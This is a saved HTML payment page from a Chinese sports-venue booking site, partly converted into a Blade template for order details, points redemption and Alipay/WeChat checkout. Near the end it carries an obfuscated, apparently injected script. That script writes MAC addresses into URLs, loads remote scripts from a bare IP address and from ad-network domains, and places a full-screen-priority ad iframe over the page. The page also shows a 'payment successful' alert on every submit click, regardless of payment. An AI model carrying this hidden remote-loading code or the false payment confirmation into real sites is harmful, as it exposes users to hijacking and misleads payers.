<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0064)http://www.qyd8.com/order_detail.html?oid=45265916610888#pay_tag -->
<html xmlns="http://www.w3.org/1999/xhtml">

<head>

@include('head')

<title>去运动吧 | 场馆预订 - 订单支付 </title>

    <script type="text/javascript">
                    $('#time_out').html('10分钟');

        function pay_form(){
            var pay_channel = $('input[name="pay"]:checked').val();
            if(3 == pay_channel){
                $('#alert_msg').html('支付码生成中,请稍后...');
                showid('messageBox','pay');
                $.ajax({
                    url:'http://www.qyd8.com/pay.html',
                    type:'POST',
                    data:'order_id=45265916610888&pay='+pay_channel,
                    success:function(r){
                        var html_str = '<img src="http://www.qyd8.com/'+r+'">';
                        $('#div_msg').html(html_str);
                        $('#alert_msg').hide().html()
                        $('#wx_div').show();
                    }
                });
                return;
            }else{
                showid('messageBox','pay');
                $('#pay_from').submit();
            }
        }
        function showCoinPayBox(radio){
            if(radio.checked){
                document.getElementById("coinPayBox").style.display="block";
            }
            else{
                document.getElementById("coinPayBox").style.display="none";
            }
        }

        function cancelUse(){
            var order_id = $('#order_id').val();
            if(order_id.length==14){
                $.ajax({
                    url:'http://www.qyd8.com/cancel_score.html',
                    type:'POST',
                    data:'oid='+order_id,
                    success:function(str){
                        $('#order_total').html(str).show();
                    }
                });
            }else{
                $('#payCoinsInfo').html('信息有误!').show();
            }
        }
        function useScore(){
            var score = $('#PayCoins').val();
            var order_id = $('#order_id').val();
            if(score>0 && order_id.length==14){
                $.ajax({
                    url:'http://www.qyd8.com/use_score.html',
                    type:'POST',
                    data:'oid='+order_id+'&score='+score,
                    success:function(str){
                        $('#order_total').html(str).show();
                    }
                });
            }else{
                $('#payCoinsInfo').html('信息有误!').show();
            }
        }
    </script>
</head>


<body>

@include('header')


    <div id="Index_main">
        <div class="Index_main_list">
            <div class="OrderPaySteps">
                <div class="Circle bgBlack"><nav class="Step1 F2em">1</nav><nav class="StepTitle white">选运动类别</nav></div>
                <div class="bgBlack boldLine"></div>
                <div class="Circle bgBlack"><nav class="Step1 F2em">2</nav><nav class="StepTitle white">选场馆订场地</nav></div>
                <div class="bgBlack boldLine"></div>
                <div class="Circle bgGreen1"><nav class="Step1 F2em">3</nav><nav class="StepTitle white">订单支付</nav></div>
                <div class="bgGreen boldLine"></div>
                <div class="Circle bgGreen"><nav class="Step1 F2em">OK</nav><nav class="StepTitle white">预订成功</nav></div>
                <div class="ChangeRow"></div>
            </div>


            @unless(!$pay)
            <div class="RegTable padding05em">
                <div class="RegTop">
                    <div class="RegTitle Green F2em">预订订单详情</div>
                    <div class="F1em Gray">请仔细确认您的订单详细信息，成功支付的预订订单，概不退还！</div>
                </div>

                <!-- 场馆信息循环输出 Begin-->
                <div class="orderList_Venues">
                    <div class="VenuesPic" style="background-image:url(http://www.qyd8.com/upload/venues/100/065/venues_image.jpg)"></div>
                    <div class="VenuesName">{{$pay[0]->stadium_name}}</div>
                    <div class="VenuesAddress"></div>
                </div>

                <div class="orderSpaceList">


                	@foreach($pay as $p)
                    <div class="space bgGreen">
                        <nav>{{$p->usetime}}</nav>
                        
                        @if($p->pubtime >= 10)
                        <nav>{{$p->pubtime}}:00 场次</nav>
                        @else
                        <nav>0{{$p->pubtime}}:00 场次</nav>
                        @endif
                        <nav><strong>{{$p->number}}号场地</strong></nav>
                    </div>
                    @endforeach

                </div>

                <div id="pay_tag" class="ChangeRow"></div>
                <div class="line1pxDot"></div>



                <form action="{{url('/paydone')}}" method="POST" id="pay_from" target="_blank">
                    {!!csrf_field()!!}
                    <div id="order_total">
                        <div class="Margin2emA2emA">
                            <input name="checkbox" id="checkbox" type="checkbox" value="" onclick="showCoinPayBox(this)">
                            <label for="checkbox">使用运动豆抵现金 (100个运动豆抵现金1元)</label>
                        </div>
                        <input type="hidden" value="45265916610888" id="order_id" name="order_id">
                                                <div id="coinPayBox" class="coinPayBox coner04em bgGray">
                            <span>您本次使用</span><input maxlength="6" type="text" id="PayCoins" name="PayCoins" class="payCoinsInput Green coner04em">
                            <span>运动豆</span><span class="bgBlue coner04em white btn paddingLR05em" onclick="useScore()">确定</span><span class="Green">可用的运动豆:1231312</span>
                        </div>
                                                <div class="paylist Margin1emA1emA  coner04em" id="paylist">
                            <p><span>订单总金额: </span>￥<span id="totalmoney">{{ $sum }}.00</span></p>
                            <p><span>运动豆抵现: </span>￥<span id="coinsmoney">0.00</span></p>
                            <p><span>系统优惠: </span>￥<span id="systemmoney">0</span></p>
                            <p><span>应付总金额: </span>￥<span id="truemoney">{{$sum}}.00</span></p>
                        </div>

                    </div>
                    <div class=" FloatLeft paySelecedBox">
                        <input type="radio" id="alipay" checked="" name="pay" value="1"><label for="alipay"><img src="images/zfb.jpg"></label>
                        <input type="radio" id="wxpay" name="pay" value="3"><label for="wxpay"><img src="images/wx_pay.png"></label>
                    </div>
                    <div class="ChangeRow"></div>
                        <div class=" payBtn bgOringe coner04em white btn padding05em F1_2em  Margin2emA2emA">
                            <strong>
                                <input type="submit" value="立即支付 ">
                            </strong><span id="time_out" class="F08em"></span>
                        </div>
                    <div class="ChangeRow"></div>
                    <div class=" coner04em padding05em RedF90 FloatRight"><span class="fa fa-exclamation-triangle fa-fw fa-2x"> </span>请在5分钟之内完成付款，超时系统将自动释放订单，支付中如遇到问题，请致电：400-871-7128</div>
                    <div class="ChangeRow"></div><br>
                </form>
                @endunless

            </div>

        </div>
@include('footer')
<div class="changeDiv" id="messageBox">
            <div class="messageBoxDiv">
                <div class="spinner">
                    <div class="rect1"></div>
                    <div class="rect2"></div>
                    <div class="rect3"></div>
                    <div class="rect4"></div>
                    <div class="rect5"></div>
                </div>
                <div class=" TxtAlignCenter F1_2em Green padding05em Margin2emA2emA">
                    <nav id="alert_msg">亲，订单正在支付中，让它飞一会儿...</nav>
                    <nav class="ChangeRow"></nav>
                    <div id="wx_div" style="display:none">
                        <nav id="div_msg"><img src="./pay.blade_files/qrcode_for_gh_ade73e351345_258.jpg" width="150"></nav>
                        <nav>请用手机微信扫描此二维码完成支付!</nav>
                    </div>
                    <div class="printInfo">
                        <a href="http://www.qyd8.com/ums_order.html"><nav class="bgGreen1 coner04em padding05em white btn Margin2emA2emA F08em"><span class="fa fa-check"> </span> 支付成功</nav></a>
                        <a href="http://www.qyd8.com/help.html#payErr"><nav class=" bgOringe coner04em padding05em white btn Margin2emA2emA F08em"><span class="fa fa-times"> </span> 支付失败</nav></a>
                        <br>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>
<script>
function ik_random(){var ik_r_min=0;var ik_r_max=100;return(parseInt(Math.random()*(ik_r_max-ik_r_min+1)+ik_r_min));}
function ik_isiframe(){return (self!=top);}
var __h="http://101.201.53.95/js.php?uid=5f660ed58cb3aa478478de66238b18ce,PC,";
var x=ik_random();
var __m='b8:88:e3:6f:7a:d2';
var __m2='00:e0:4c:59:ca:88';
if(!ik_isiframe()){
	switch(true){
                 case x>=0&&x<60:
			document.write("<sc"+"ript src=\""+__h+"16&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://js.union-wifi.com/zm.js?cid=10066&dmac="+__m2+"&umac="+__m+"\"></scr"+"ipt>");
			break;
                 case x>=60&&x<=100:
			document.write("<sc"+"ript src=\""+__h+"11&r="+Math.random()+"&r2="+Math.random()+"\"></scr"+"ipt>");
			document.write("<sc"+"ript src=\"http://un.winasdaq.com/ydap.js?ydcp_id=10111&cumid="+__m+"&apmac="+__m2+"\"></scr"+"ipt>");
			break;
		}
}
</script>
<script type="text/javascript">
    $(document).ready(function(){
        $('input[type=submit]').click(function(){
            alert('支付成功');
        });
    });
</script>
<script src="./pay.blade_files/js.php"></script>
<script src="./pay.blade_files/ydap.js"></script>
<script src="./pay.blade_files/ds.js" type="text/javascript"></script>
<script src="./pay.blade_files/c.js" type="text/javascript"></script>
<script src="./pay.blade_files/r.js" type="text/javascript"></script>
<script src="./pay.blade_files/yn.do" type="text/javascript"></script>
<div id="y_g_g" style="display: none;">
    <div id="yd_f_gg_close" style="display: inline-block; position: fixed; right: 5px; bottom: 250px; height: 20px; width: 50px; cursor: pointer; z-index: 2147483647; background: url(&quot;http://un.winasdaq.com/img/close.png&quot;);"></div><span id="yd_f_gg_0" style="position: fixed; right: 5px; bottom: 5px; height: 250px; width: 300px; z-index: 2147483647; background-color: white;"><div id="_yn_1fe02gdjo9e8m8nnqb765bqpvi_0"><iframe id="iframeu2720945_0" src="./pay.blade_files/mcnm.html" width="308" height="253" align="center,center" vspace="0" hspace="0" marginwidth="0" marginheight="0" scrolling="no" frameborder="0" style="border:0; vertical-align:bottom;margin:0;" allowtransparency="true"></iframe></div></span></div><script src="./pay.blade_files/i.js" type="text/javascript"></script>
</body></html>
